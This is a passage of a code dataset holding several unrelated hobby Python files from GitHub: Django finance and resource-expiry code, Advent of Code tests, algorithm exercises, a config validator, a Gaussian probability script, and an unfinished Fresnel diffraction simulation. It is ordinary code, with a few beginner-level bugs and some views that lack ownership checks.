main()\n","repo_name":"carlcarl/grabflickr","sub_path":"grabflickr/grabflickr.py","file_name":"grabflickr.py","file_ext":"py","file_size_in_byte":10748,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"37368988125","text":"from django.contrib.auth.decorators import login_required\nfrom django.shortcuts import redirect, render\nfrom django.http import HttpResponse,JsonResponse\nfrom django.template import loader\nfrom django.db.models import Sum, Count\nfrom datetime import date, datetime, timedelta\nimport calendar\n\nfrom .models import Transactions\nfrom .models import Expense, Income\nfrom .models import TransactionCategory\nfrom .models import TransactionRepeatability\nfrom .models import TransactionType\nfrom .models import TransactionStatus\nfrom .models import cnfRepeatability\n\nfrom .models import TransactionAccount\nfrom .models import TransactionAccountTypes\n\n\n@login_required\ndef userData(request):\n current_user_name = request.user.username\n current_user_id = request.user\n\n context = {\n \"current_user_id\": current_user_id,\n \"current_user_name\": current_user_name,\n }\n\n return context\n\n\n# Exibe transações do usuário\n@login_required\ndef userTransactions(request):\n user_data = userData(request)\n user_accounts = get_user_accounts(user_data[\"current_user_id\"])\n total_balance = calculate_total_balance(user_data[\"current_user_id\"])\n today = date.today()\n \n current_date = today.strftime(\"%Y-%m-%d\")\n current_month = today.strftime(\"%m\")\n current_year = today.strftime(\"%Y\")\n \n user_available_category = TransactionCategory.objects.filter(idUser=user_data[\"current_user_id\"], )\n\n # Main\n user_transactions = Transactions.objects.filter(\n idUser=user_data[\"current_user_id\"],\n creationDate__month=current_month,\n creationDate__year=current_year,\n ).order_by(\"-creationDate\")\n\n # Filters\n\n if request.method == \"POST\":\n # Create Transaction\n if 'createTransaction' in request.POST:\n transaction_name_data = request.POST[\"transactionName\"]\n transaction_description_data = request.POST[\"transactionDescription\"]\n value_data = request.POST[\"value\"]\n expense_data = True if (\"expense\" in request.POST) else False\n status_data = get_status(request.POST[\"status\"])\n category_data = request.POST[\"category\"]\n\n account_id = request.POST[\"account\"]\n account_data = TransactionAccount.objects.get(id=account_id)\n\n creation_date_data = request.POST[\"creationDate\"]\n\n if request.POST[\"status\"] == \"4\" or request.POST[\"status\"] == \"6\":\n due_date_data = request.POST[\"dueDate\"]\n else:\n due_date_data = None\n\n createTransactionModal(\n user_data,\n transaction_name_data,\n transaction_description_data,\n value_data,\n expense_data,\n status_data,\n category_data,\n account_data,\n creation_date_data,\n due_date_data,\n )\n return redirect(\"/transactions/create_success\")\n\n context = {\n \"current_user_id\": user_data[\"current_user_id\"],\n \"current_user_name\": user_data[\"current_user_name\"],\n \"user_transactions\": user_transactions,\n \"user_accounts\": user_accounts,\n \"user_available_category\" : user_available_category,\n \"current_date\": current_date,\n \"total_balance\": total_balance,\n }\n return render(request, \"alltransactions.html\", context)\n\n\n# Exibe detalhes da transação de acordo com o id dela\ndef detailsTransaction(request, id):\n user_data = userData(request)\n total_balance = calculate_total_balance(user_data[\"current_user_id\"])\n\n transaction_fetch = Transactions.objects.get(id=id) \n \n if transaction_fetch.idType.id == 1:\n transaction = Expense.objects.get(id=id) \n else: \n transaction = Income.objects.get(id=id) \n\n template = loader.get_template(\"details.html\")\n context = {\n \"current_user_id\": user_data[\"current_user_id\"],\n \"current_user_name\": user_data[\"current_user_name\"],\n \"transaction\": transaction,\n \"total_balance\": total_balance,\n }\n return HttpResponse(template.render(context, request))\n\n\ndef createTransactionModal(\n user_data,\n transactionName_data,\n transactionDescription_data,\n value_data,\n expense_data,\n status_data,\n category_data,\n account_id_data,\n creation_date_data,\n due_date_data,\n):\n repeatable_id = None\n type = get_type(1) if (expense_data) else get_type(2)\n color, category_name = category_data.split(\"/\", 1)\n category_id = get_or_create_category(\n user_data[\"current_user_id\"], category_name, color\n )\n\n # Create transaction\n if expense_data:\n transaction = Expense(\n idUser=user_data[\"current_user_id\"],\n transactionName=transactionName_data,\n transactionDescription=transactionDescription_data,\n value=value_data,\n idType=type,\n idStatus=status_data,\n idCategory=category_id,\n idTransactionAccount=account_id_data,\n idRepeatable=repeatable_id,\n creationDate=creation_date_data,\n dueDate=due_date_data,\n )\n else:\n transaction = Income(\n idUser=user_data[\"current_user_id\"],\n transactionName=transactionName_data,\n transactionDescription=transactionDescription_data,\n value=value_data,\n idType=type,\n idStatus=status_data,\n idCategory=category_id,\n idTransactionAccount=account_id_data,\n idRepeatable=repeatable_id,\n creationDate=creation_date_data,\n dueDate=due_date_data,\n )\n\n transaction.save()\n\n\n# Create Transactions\ndef createSuccess(request):\n return render(request, \"create_success.html\")\n\n\ndef get_repeatability_option(option):\n repeat_option_instance = cnfRepeatability.objects.get(id=option)\n return repeat_option_instance\n\n\ndef get_status(status):\n status_instance = TransactionStatus.objects.get(id=status)\n return status_instance\n\n\ndef get_type(type):\n type_instance = TransactionType.objects.get(id=type)\n return type_instance\n\n\ndef get_or_create_category(user_id, categoryName, category_color):\n try:\n category_instance = TransactionCategory.objects.get(\n idUser=user_id, categoryName=categoryName\n )\n except TransactionCategory.DoesNotExist:\n category_instance = TransactionCategory.objects.create(\n idUser=user_id, categoryName=categoryName, categoryColor=category_color\n )\n\n return category_instance\n\n\ndef create_repetability(repeatable_option, repeatable_quantity, repeatable_date):\n repeatability_instance = TransactionRepeatability.objects.create(\n idRepeatability=repeatable_option,\n quantity=repeatable_quantity,\n date=repeatable_date,\n )\n return repeatability_instance\n\n\n# Edit Transactions\ndef editTransaction(request, id):\n user_data = userData(request)\n transaction = Transactions.objects.get(id=id)\n user_accounts = get_user_accounts(user_data[\"current_user_id\"])\n total_balance = calculate_total_balance(user_data[\"current_user_id\"])\n\n if request.method == \"POST\":\n name = request.POST[\"transactionName\"]\n description = request.POST[\"transactionDescription\"]\n value = request.POST[\"value\"]\n status = get_status(request.POST[\"status\"])\n category = request.POST[\"category\"]\n account_id = request.POST[\"account\"]\n account = TransactionAccount.objects.get(id=account_id)\n\n color, category_name = category.split(\"/\", 1)\n category_id = get_or_create_category(\n user_data[\"current_user_id\"], category_name, color\n )\n\n transaction.transactionName = name\n transaction.transactionDescription = description\n transaction.idTransactionAccount = account\n transaction.value = value\n transaction.idStatus = status\n transaction.idCategory = category_id\n transaction.save()\n\n return redirect(\"/transactions\") # Redirect to the transaction list\n\n template = loader.get_template(\"edit.html\")\n context = {\n \"transaction\": transaction,\n \"current_user_id\": user_data[\"current_user_id\"],\n \"current_user_name\": user_data[\"current_user_name\"],\n \"user_accounts\": user_accounts,\n \"total_balance\": total_balance,\n }\n\n return HttpResponse(template.render(context, request))\n\n\n# Delete Transactions\n\n\ndef deleteTransaction(request, id):\n user_data = userData(request)\n transaction = Transactions.objects.get(id=id)\n total_balance = calculate_total_balance(user_data[\"current_user_id\"])\n\n if request.method == \"POST\":\n if \"confirm\" in request.POST:\n transaction.delete()\n return redirect(\"/transactions\")\n\n template = loader.get_template(\"delete.html\")\n context = {\n \"transaction\": transaction,\n \"current_user_id\": user_data[\"current_user_id\"],\n \"current_user_name\": user_data[\"current_user_name\"],\n \"total_balance\": total_balance,\n }\n\n return HttpResponse(template.render(context, request))\n\n\n# -== Accounts ==-\n\n\ndef get_user_accounts(user_id):\n user_accounts_instance = TransactionAccount.objects.filter(idUser=user_id)\n return user_accounts_instance\n\n\n@login_required\ndef userAccounts(request):\n user_data = userData(request)\n total_balance = calculate_total_balance(user_data[\"current_user_id\"])\n\n user_accounts = get_user_accounts(user_data[\"current_user_id\"])\n\n template = loader.get_template(\"accounts.html\")\n context = {\n \"current_user_id\": user_data[\"current_user_id\"],\n \"current_user_name\": user_data[\"current_user_name\"],\n \"user_accounts\": user_accounts,\n \"total_balance\": total_balance,\n }\n return HttpResponse(template.render(context, request))\n\n\n# Create Accounts\n\n\ndef get_account_type(type):\n type_instance = TransactionAccountTypes.objects.get(id=type)\n return type_instance\n\n\ndef createAccounts(request):\n user_data = userData(request)\n total_balance = calculate_total_balance(user_data[\"current_user_id\"])\n\n template = loader.get_template(\"createAccounts.html\")\n\n if request.method == \"POST\":\n account_name = request.POST[\"account_name\"]\n account_color = request.POST[\"account_color\"]\n account_type = get_account_type(request.POST[\"account_type\"])\n\n if account_type.id == 3:\n account_billCloseDate = request.POST[\"account_billCloseDate\"]\n account_billDueDate = request.POST[\"account_billDueDate\"]\n else:\n account_billCloseDate = 0\n account_billDueDate = 0\n\n newAccount = TransactionAccount(\n accountName=account_name,\n accountColor=account_color,\n type=account_type,\n billCloseDate=account_billCloseDate,\n billDueDate=account_billDueDate,\n idUser=user_data[\"current_user_id\"],\n )\n\n newAccount.save()\n return redirect(\"/transactions/accounts\")\n\n context = {\n \"current_user_id\": user_data[\"current_user_id\"],\n \"current_user_name\": user_data[\"current_user_name\"],\n \"total_balance\": total_balance,\n }\n\n return HttpResponse(template.render(context, request))\n\n\n# Edit Accounts\n\n\ndef editAccounts(request, id):\n user_data = userData(request)\n account = TransactionAccount.objects.get(id=id)\n total_balance = calculate_total_balance(user_data[\"current_user_id\"])\n\n if request.method == \"POST\":\n color = request.POST[\"account_color\"]\n account.accountColor = color\n\n if account.type.type == \"Credit\":\n closeDate = request.POST[\"account_billCloseDate\"]\n dueDate = request.POST[\"account_billDueDate\"]\n\n account.billCloseDate = closeDate\n account.billDueDate = dueDate\n\n account.save()\n return redirect(\"/transactions/accounts\")\n\n template = loader.get_template(\"editAccounts.html\")\n context = {\n \"account\": account,\n \"current_user_id\": user_data[\"current_user_id\"],\n \"current_user_name\": user_data[\"current_user_name\"],\n \"total_balance\": total_balance,\n }\n\n return HttpResponse(template.render(context, request))\n\n\n# -== Dashboard ==-\n\n\ndef calculate_total_balance(user_id):\n income_sum = (\n Income.objects.filter(transactions_ptr_id__idUser=user_id, transactions_ptr_id__idStatus__status='Received').aggregate(\n Sum(\"value\")\n )[\"value__sum\"]\n or 0\n )\n expense_sum = (\n Expense.objects.filter(transactions_ptr_id__idUser=user_id, transactions_ptr_id__idStatus__status='Paid').aggregate(\n Sum(\"value\")\n )[\"value__sum\"]\n or 0\n )\n difference = income_sum - expense_sum\n\n return difference\n\n\ndef calculate_monthly_balance(user_id):\n current_date = datetime.now()\n\n first_day_of_month = current_date.replace(day=1)\n last_day_of_month = first_day_of_month.replace(\n month=first_day_of_month.month + 1, day=1\n ) - timedelta(days=1)\n\n income_sum = (\n Income.objects.filter(\n transactions_ptr_id__creationDate__range=(\n first_day_of_month,\n last_day_of_month,\n ),\n transactions_ptr_id__idUser=user_id, transactions_ptr_id__idStatus__status='Received'\n ).aggregate(Sum(\"value\"))[\"value__sum\"]\n or 0\n )\n expense_sum = (\n Expense.objects.filter(\n transactions_ptr_id__creationDate__range=(\n first_day_of_month,\n last_day_of_month,\n ),\n transactions_ptr_id__idUser=user_id, transactions_ptr_id__idStatus__status='Paid'\n ).aggregate(Sum(\"value\"))[\"value__sum\"]\n or 0\n )\n difference = income_sum - expense_sum\n\n context = {\n \"difference\": difference,\n \"income_sum\": income_sum,\n \"expense_sum\": expense_sum,\n }\n\n return context\n\n\ndef category_pie_chart(request):\n user_data = userData(request)\n labels = []\n data = []\n color = []\n \n queryset = Expense.objects.values('idCategory__categoryName', 'idCategory__categoryColor').filter(transactions_ptr_id__idUser=user_data[\"current_user_id\"]).annotate(transactions=Count('id'))\n \n for entry in queryset:\n labels.append(entry['idCategory__categoryName'])\n color.append('#' + entry['idCategory__categoryColor'])\n data.append(entry['transactions'])\n \n return JsonResponse(data={\n 'labels' : labels,\n 'color' : color,\n 'data' : data,\n })\n \ndef expense_doughnut_chart(request):\n user_data = userData(request)\n labels = []\n data = []\n color = []\n \n queryset = Expense.objects.values('idStatus__status').filter(transactions_ptr_id__idUser=user_data[\"current_user_id\"]).annotate(transactions=Count('id'))\n \n for entry in queryset:\n labels.append(entry['idStatus__status'])\n if(entry['idStatus__status'] == 'Paid'):\n color.append('#1ec92f')\n else:\n color.append('#f74c4c')\n data.append(entry['transactions'])\n \n return JsonResponse(data={\n 'labels' : labels,\n 'color' : color,\n 'data' : data,\n })\n \ndef get_days_in_month(year, month):\n first_day = datetime(year, month, 1)\n last_day = datetime(year, month + 1, 1) - timedelta(days=1)\n \n all_days = [first_day + timedelta(days=x) for x in range((last_day - first_day).days + 1)]\n \n return all_days\n\ndef expenseIncome_line_chart(request):\n year = 2023\n month = 11\n user_data = userData(request)\n labelsExpense = []\n dataExpense = []\n \n labelsIncome = []\n dataIncome = []\n \n # Get all days in the specified month and year\n all_days = get_days_in_month(year, month)\n \n for day in all_days:\n # Filter expenses by date\n querysetExpense = Expense.objects.filter(\n transactions_ptr_id__idUser=user_data[\"current_user_id\"],\n creationDate__year=day.year,\n creationDate__month=day.month,\n creationDate__day=day.day\n ).values('id').annotate(transactions=Sum('value'))\n \n # Filter incomes by date\n querysetIncome = Income.objects.filter(\n transactions_ptr_id__idUser=user_data[\"current_user_id\"],\n creationDate__year=day.year,\n creationDate__month=day.month,\n creationDate__day=day.day\n ).values('id').annotate(transactions=Sum('value'))\n \n # Append data for each day\n labelsExpense.append(day.strftime('%Y-%m-%d'))\n dataExpense.append(sum(entry['transactions'] or 0 for entry in querysetExpense))\n \n labelsIncome.append(day.strftime('%Y-%m-%d'))\n dataIncome.append(sum(entry['transactions'] or 0 for entry in querysetIncome))\n \n return JsonResponse({\n 'dataExpense': {\n 'labelsExpense': labelsExpense,\n 'dataExpense': dataExpense,\n },\n 'dataIncome': {\n 'labelsIncome': labelsIncome,\n 'dataIncome': dataIncome,\n }\n }\n )\n\n\n@login_required\ndef dashboard(request):\n user_data = userData(request)\n\n monthly_balance = calculate_monthly_balance(user_data[\"current_user_id\"])\n total_balance = calculate_total_balance(user_data[\"current_user_id\"])\n\n template = loader.get_template(\"dashboard.html\")\n context = {\n \"current_user_id\": user_data[\"current_user_id\"],\n \"current_user_name\": user_data[\"current_user_name\"],\n \"total_balance\": total_balance,\n \"monthly_balance\": monthly_balance[\"difference\"],\n \"monthly_expense\": monthly_balance[\"expense_sum\"],\n \"monthly_income\": monthly_balance[\"income_sum\"],\n }\n\n return HttpResponse(template.render(context, request))\n\n\ndef testing(request):\n template = loader.get_template(\"template.html\")\n context = {\n \"teste\": [\"Apple\", \"Banana\", \"Cherry\"],\n }\n return HttpResponse(template.render(context, request))\n","repo_name":"davitgouveia/Django-Finances","sub_path":"error_finances/transactions/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":18133,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74128437491","text":"from testfixtures import compare\n\nfrom day25.day25 import load_day25_data, state_to_string, do_iterate, string_to_state, find_stable_state\n\ntest_state = [\n [\".\", \".\", \".\", \">\", \".\", \".\", \".\"],\n [\".\", \".\", \".\", \".\", \".\", \".\", \".\"],\n [\".\", \".\", \".\", \".\", \".\", \".\", \">\"],\n [\"v\", \".\", \".\", \".\", \".\", \".\", \">\"],\n [\".\", \".\", \".\", \".\", \".\", \".\", \">\"],\n [\".\", \".\", \".\", \".\", \".\", \".\", \".\"],\n [\".\", \".\", \"v\", \"v\", \"v\", \".\", \".\"],\n]\n\n\ndef test_load_day25_data():\n compare(load_day25_data(\"day25_test_data.txt\"), expected=test_state)\n\ndef test_to_string():\n expected= \"\"\"\\\n...>...\n.......\n......>\nv.....>\n......>\n.......\n..vvv..\n\"\"\"\n compare(state_to_string(test_state), expected=expected)\n\ndef test_iterate():\n expected1 = \"\"\"\\\n..vv>..\n.......\n>......\nv.....>\n>......\n.......\n....v..\n\"\"\"\n result = do_iterate(test_state)\n compare(state_to_string(result), expected=expected1)\n\n expected2=\"\"\"\\\n....v>.\n..vv...\n.>.....\n......>\nv>.....\n.......\n.......\n\"\"\"\n result = do_iterate(result)\n compare(state_to_string(result), expected=expected2)\n expected3=\"\"\"\\\n......>\n..v.v..\n..>v...\n>......\n..>....\nv......\n.......\n\"\"\"\n result = do_iterate(result)\n compare(state_to_string(result), expected=expected3)\n expected4=\"\"\"\\\n>......\n..v....\n..>.v..\n.>.v...\n...>...\n.......\nv......\n\"\"\"\n result = do_iterate(result)\n compare(state_to_string(result), expected=expected4)\n\ndef test_many_iterations():\n expected = \"\"\"\\\n..>>v>vv.v\n..v.>>vv..\nv.>>v>>v..\n..>>>>>vv.\nvvv....>vv\n..v....>>>\nv>.......>\n.vv>....v>\n.>v.vv.v..\n\"\"\"\n result = test_state\n for _ in range(50):\n result = do_iterate(result)\n compare(state_to_string(result), expected=expected)\n\ndef test_find_static_state():\n initial_state = \"\"\"\\\nv...>>.vv>\n.vv>>.vv..\n>>.>v>...v\n>>v>>.>.v.\nv>v.vv.v..\n>.>>..v...\n.vv..>.>v.\nv.v..>>v.v\n....v..v.>\n\"\"\"\n state=string_to_state(initial_state)\n compare(find_stable_state(state), expected=58)","repo_name":"zadacka/advent_of_code_2021","sub_path":"day25/day25_test.py","file_name":"day25_test.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11489638770","text":"# python3\nimport sys\n\nclass Node:\n\tdef __init__ (self, idx):\n\t\tself._idx = idx\n\t\tself.patternEnd = False\n\t\n\tdef __repr__(self):\n\t\treturn 'Node_' + str(self._idx)\n\ndef solve (text, n, patterns):\n\tresult = []\n\ttrie = ConstructTrie(patterns)\n\tfor k in range(len(text)):\n\t\tfoundIx = PrefixTireMatching(text[k:], trie)\n\t\tif not foundIx: continue\t\t\t\t# Did not find substring\n\t\tresult.append(k)\n\treturn result\n\ndef PrefixTireMatching(text, trie):\n\tv = trie[0]\n\tfor i,sym in enumerate(text):\n\t\ttry: \n\t\t\tnd = v[sym]\n\t\t\tbranch = trie[nd._idx]\n\t\texcept KeyError: return False\n\t\tif nd.patternEnd: \t\t\t# is leaf node\n\t\t\treturn True\n\t\telse:\t\t\t\t\t\t# is Edge\n\t\t\tv = branch\n\treturn False\n\ndef ConstructTrie(patterns):\n\troot = [{}]\n\tfor pat in patterns:\n\t\tnode = root[0]\n\t\tprevNode = None\n\t\tfor c in pat:\n\t\t\tif c in node:\n\t\t\t\tix = node[c]._idx\n\t\t\t\tprevNode = node[c]\n\t\t\t\tnode = root[ix]\n\t\t\telse:\n\t\t\t\tnode[c] = prevNode = Node(len(root))\n\t\t\t\tnode = { }\n\t\t\t\troot.append(node)\n\t\tprevNode.patternEnd = True\n\treturn root\n\ntext = sys.stdin.readline ().strip ()\nn = int (sys.stdin.readline ().strip ())\npatterns = []\nfor i in range (n):\n\tpatterns += [sys.stdin.readline ().strip ()]\n\n#text, patterns = 'AAA', 'AA'.split()\n#text, patterns = 'ACATA', 'AT A AG'.split()\n#n = len(patterns)\n\nans = solve (text, n, patterns)\nsys.stdout.write (' '.join (map (str, ans)) + '\\n')\n","repo_name":"supracharger/Data-Structures-Algorithms","sub_path":"Algos_on_Strings/trie_matching_extended.py","file_name":"trie_matching_extended.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31130270103","text":"class Task():\n def __init__(self, name, description, status, phase, priority, comment, tags):\n self.name = name\n self.description = description\n self.status = status\n self.phase = phase\n self.priority = priority\n self.comment = comment\n self.tags = tags\n\n def __str__(self):\n return f\"{self.name} {self.description} {self.status} {self.phase} {self.priority} {self.comment} {self.tags}\"","repo_name":"MichaelTrenker/Chang","sub_path":"classes/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"71845811892","text":"from collections import deque\ndy = [-1, 1, 0, 0]\ndx = [0, 0, -1, 1]\ndef bfs(y, x, goal):\n global h, w, n, total_time\n visited = [[0 for i in range(w)] for j in range(h)]\n queue = deque()\n queue.append([y, x, 0])\n visited[y][x] = 1\n while queue:\n now = queue.popleft()\n ty, tx, time = now[0], now[1], now[2]\n time += 1\n for i in range(4):\n ny = ty + dy[i]\n nx = tx + dx[i]\n if ny >= h or nx >= w or ny < 0 or nx < 0:\n continue\n if board[ny][nx] == '#':\n continue\n if visited[ny][nx] > 0:\n continue\n visited[ny][nx] = time\n\n if board[ny][nx] == str(goal):\n total_time += time\n if goal != len(goal_lst):\n position.append([ny, nx])\n return\n else:\n return\n queue.append([ny, nx, time])\n\n\n\nt = int(input())\nfor tc in range(1, t + 1):\n # h 세로 w 가로 n 배달지역수\n total_time = 0\n h, w, n = map(int, input().split())\n goal_lst = [i for i in range(1, n + 1)]\n board = [input() for _ in range(h)]\n position = deque()\n position.append([0, 0])\n\n i = 0\n while position:\n temp = position.popleft()\n bfs(temp[0], temp[1], goal_lst[i])\n i += 1\n\n print(f'#{tc} {total_time}')\n","repo_name":"xktmxkem/TIL-Today-I-Learn","sub_path":"algorithm/in_class/배달맨.py","file_name":"배달맨.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30310963349","text":"# -*- coding: utf-8 -*-\nimport inspect\nimport logging\nimport os\nfrom typing import Callable, Any\n\nlogger = logging.getLogger(__name__)\n\n\nclass Validator:\n def __init__(self):\n self.funcs = {}\n\n def register(self, name: str) -> Callable[..., Any]:\n def decorator(func: Callable[..., Any]) -> Callable[..., Any]:\n self.funcs[name] = func\n\n arg_spec = inspect.getfullargspec(func)\n args = arg_spec.args\n annotations = arg_spec.annotations\n\n if len(args) != 1:\n raise Exception(\n 'number of args should be 1. There are {} args: {}'.format(\n len(args), args))\n\n if args[0] not in annotations.keys():\n raise Exception(\n 'the only arg must have type annotation to validate')\n\n if not isinstance(True, annotations.get('return')):\n logger.warning(\n 'type of return value in annotations could better be bool')\n\n setattr(func, 'validator_name', name)\n setattr(func, 'validator_args', args)\n setattr(func, 'validator_annotations', annotations)\n setattr(func, 'validator_value_type', annotations[args[0]])\n\n return func\n\n return decorator\n\n def has_func(self, name):\n return self.funcs.get(name) is not None\n\n def validate(self, name: str, value: Any) -> bool:\n func = self.funcs.get(name)\n if func is not None:\n if not isinstance(value, getattr(func, 'validator_value_type')):\n return False\n return func(value)\n return False\n\n\nvalidator = Validator()\n\n\n@validator.register('onedrive.upload_chunk_size')\ndef upload_chunk_size(value: int) -> bool:\n return 5 <= value <= 60 and value % 5 == 0\n\n\n@validator.register('onedrive.upload_threads_num')\ndef upload_threads_num(value: int) -> bool:\n return 0 < value <= 30\n\n\n@validator.register('admin.auth_token_max_age')\ndef auth_token_max_age(value: int) -> bool:\n return 0 < value <= 30\n\n\n@validator.register('others.default_local_path')\ndef default_local_path(value: str) -> bool:\n path = value\n if value.startswith('~'):\n path = os.path.expanduser(\"~\") + path[1:]\n return os.path.isdir(path)\n","repo_name":"gene9831/one-app-api","sub_path":"app/app_config/validate.py","file_name":"validate.py","file_ext":"py","file_size_in_byte":2304,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"15475602588","text":"import sys\nimport numpy as np\nfrom scipy.special import erf\n\n#computes probability of an event\n#of magnitude x or greater from a \n#gaussian distribution\n\ndef event_probability(x,mu=0.0,s=1.0):\n\t#x is value of event\n\t#mu is gaussian mean\n\t#s is standard deviation\n\tz = np.fabs( (x-mu/s) )\n\tdef zfunc(z):\n\t\treturn 0.5*(1.0 + erf(z/2**0.5))\n\n\t#return event probability\n\treturn 1.0-(zfunc(z)-zfunc(-1.*z))\n\ndef main():\n\n\t#default 3*sigma\n\tx = 3.0\n\n\t#command line input\n\tif(len(sys.argv)>1):\n\t\tx = float(sys.argv[1])\n\n\t#get the event probability \n\tprob = event_probability(x)\n\n\tprint(f\"The Gaussian probability of events larger than |{x}| is {prob*100:15.13f}%.\")\n\tprint(f\"The Gaussian probability of events smaller than |{x}| is {(1-prob)*100:15.13f}%.\")\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"eshutan/astr-19","sub_path":"event_probability.py","file_name":"event_probability.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4716735162","text":"from datetime import timedelta\nfrom django.db.models.signals import post_save\nfrom django.dispatch import receiver\nfrom expiry_addon.models import ResourceExpiryPolicy\nfrom lockable_resource.models import LockableResource\n\n\n@receiver(post_save, sender=ResourceExpiryPolicy)\ndef generate_field_values_if_empty(sender, instance, created, **kwargs):\n \"\"\"\n For some fields we'd like to generate values if they left empty.\n Using blank=true and null=true is effective, but the default value we'd\n like to generate, is based on another IntegerField which is required\n For Example:\n ResourceExpiryPolicy(\n name=\"\",\n expiry_hour=24,\n lockable_resource=1TO1Field('some_resource_1')\n )\n We'd like to have this after post_save():\n ResourceExpiryPolicy(\n name=\"H24-some-resource-1\",\n expiry_hour=24,\n lockable_resource=1TO1Field('some_resource_1')\n )\n :param sender:\n :param instance:\n :param created:\n :param kwargs:\n :return: None\n \"\"\"\n if created:\n if not instance.name:\n instance.name = f\"H{instance.expiry_hour}-{instance.lockable_resource.name}\"\n instance.save()\n\n if not created:\n pass\n\n\n@receiver(post_save, sender=LockableResource)\ndef do_actions_after_locked_resource(sender, instance, created, **kwargs):\n \"\"\"\n post_save is being called everytime the object is being saved!\n REMEMBER: The save method could be called more than once for an object.\n Why ? Because each modification on a specific object happens only AFTER the save method\n So the post_save signal is triggered after every modification!\n \"\"\"\n if created:\n return\n if not created:\n # If instance has locked time, it means a resource is just locked and locked time is not None\n # Can't use here attribute reference, using hasattr instead\n if hasattr(instance, \"resourceexpirypolicy\"):\n if (\n instance.locked_time\n and not instance.resourceexpirypolicy.current_expiry_date\n ):\n current_expiry_date = instance.locked_time\n current_expiry_date += timedelta(\n hours=instance.resourceexpirypolicy.expiry_hour\n )\n instance.resourceexpirypolicy.current_expiry_date = current_expiry_date\n instance.resourceexpirypolicy.save()\n print(\n f\"{instance.name} will expired in {instance.resourceexpirypolicy.current_expiry_date}\"\n )\n\n if not instance.locked_time:\n instance.resourceexpirypolicy.current_expiry_date = None\n instance.resourceexpirypolicy.save()\n","repo_name":"jimdevops19/rlocker_expiry_addon","sub_path":"expiry_addon/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":2732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15988714797","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Sep 26 18:25:02 2018\n\"\"\"\n#\n# put your \"import\" statements here\n#\n\n\n\nimport numpy as np\nimport math\nimport matplotlib.pyplot as plt\n\n\n\n\n\n\n\n#The function used for the composite simpsons rule\ndef simps(f,a_1,a_2,N):\n # 4 variables are used for the function, f being the function that will be integrated,\n #a_1 and a_2 stand for the limits of intergation for the aperture and N is the number of\n #iterations used(arbitrary)\n if N % 2 == 1:\n raise ValueError('N must be an even integer.')\n da = (a_2-a_1)/N\n #da is the spacing between the limits of intergation\n a = np.linspace(a_1,a_2,N+1)\n #list of a values\n y = f(a)\n Sum = da/3 * np.sum(y[0:-1:2] + 4*y[1::2] + y[2::2])\n #y[0:-1;2] selects odd values including the beginning but not the end, y[1::2] selects all\n #the even values and y[2::2] selects the the odd values but with the end.\n return Sum\n \n#Beginning of the Menu system\nMyInput = '0'\nwhile MyInput != 'q':\n MyInput = input('Enter a choice, \"a\" for 1-Dimensional Fresnel intergration, \"b\" for 2-Dimensional fresnel intergatrion or \"q\" to quit: ')\n print('You entered the choice: ',MyInput)\n\n if MyInput == 'a':\n print('You have chosen part (a)')\n Input_lambda = input('Enter the wavelength of light in nanometres')\n lmbda = float(Input_lambda)/10**9\n print(lmbda)\n \n Input_z = input('Enter the distance of the screen in centremetres')\n z = float(Input_z)/10**2\n print(z)\n \n Input_width = input('Enter the width of the aperture in micrometers')\n a_width = float(Input_width)/10**6\n print(a_width)\n \n #This Selects the range of x values used depending on the parameters used to show the \n #Different fresnel patterns\n if z< 0.0005 and a_width > 100/10**6:\n p =0.00005\n elif z<0.0005 and a_width == 100/10**6:\n p = 0.00005\n elif z>= 0.0005 and a_width > 100/10**6:\n p = 0.0005\n elif z>= 0.0005 and a_width <= 100/10**6:\n p = 0.003\n #Constants\n x_0 = -p\n x_1 = p\n y_0 = -p\n y_1 = p\n j=complex(0,1)\n E_0 = 1\n \n #Variables\n k = (2*np.pi)/(lmbda)\n a_1 = -1 * a_width/2\n a_2 = a_width/2\n \n \n \n X = np.arange(x_0, x_1, p/100)\n I = [abs(((E_0*k)/(2*np.pi*z ) * simps(lambda a: np.exp( (j*k)/(2*z) * (x - a)**2 ),a_1,\n a_2,5000))**2) for x in X]\n \n\n \n \n\n plt.plot(X,I)\n plt.xlabel('Distance in metres')\n plt.ylabel('Intensity')\n plt.show()\n \n \n \n \n \n \n \n \n\n \n \n \n elif MyInput == 'b':\n print('You have chosen part (b)')\n \n Input_lambda = input('Enter the wavelength of light in nanometres ')\n lmbda = float(Input_lambda)/10**9\n print(lmbda)\n \n Input_z = input('Enter the distance of the screen in centremetres ')\n z = float(Input_z)/10**2\n \n print(z)\n \n Input_width = input('Enter the width of the aperture in micrometers ')\n a_width = float(Input_width)/10**6\n print(a_width)\n\n \n if z< 0.0005 and a_width > 100/10**6:\n p =0.00001\n elif z<0.0005 and a_width <= 100/10**6:\n p = 0.00005\n elif z>= 0.0005 and a_width > 100/10**6:\n p = 0.0005\n elif z>= 0.0005 and a_width <= 100/10**6:\n p = 0.003\n #constants\n x_0 = -p\n x_1 = p\n y_0 = -p\n y_1 = p\n l=complex(0,1)\n E_0 = 1\n \n #Variables\n k = (2*np.pi)/(lmbda)\n a_1 = -1 * a_width/2\n a_2 = a_width/2\n \n Input_shape = input(\"Please enter the shape of the aperture, \"R\" for rectangular and \" )\n #Creates the intensity grid\n NumPoints = 1000\n delta = 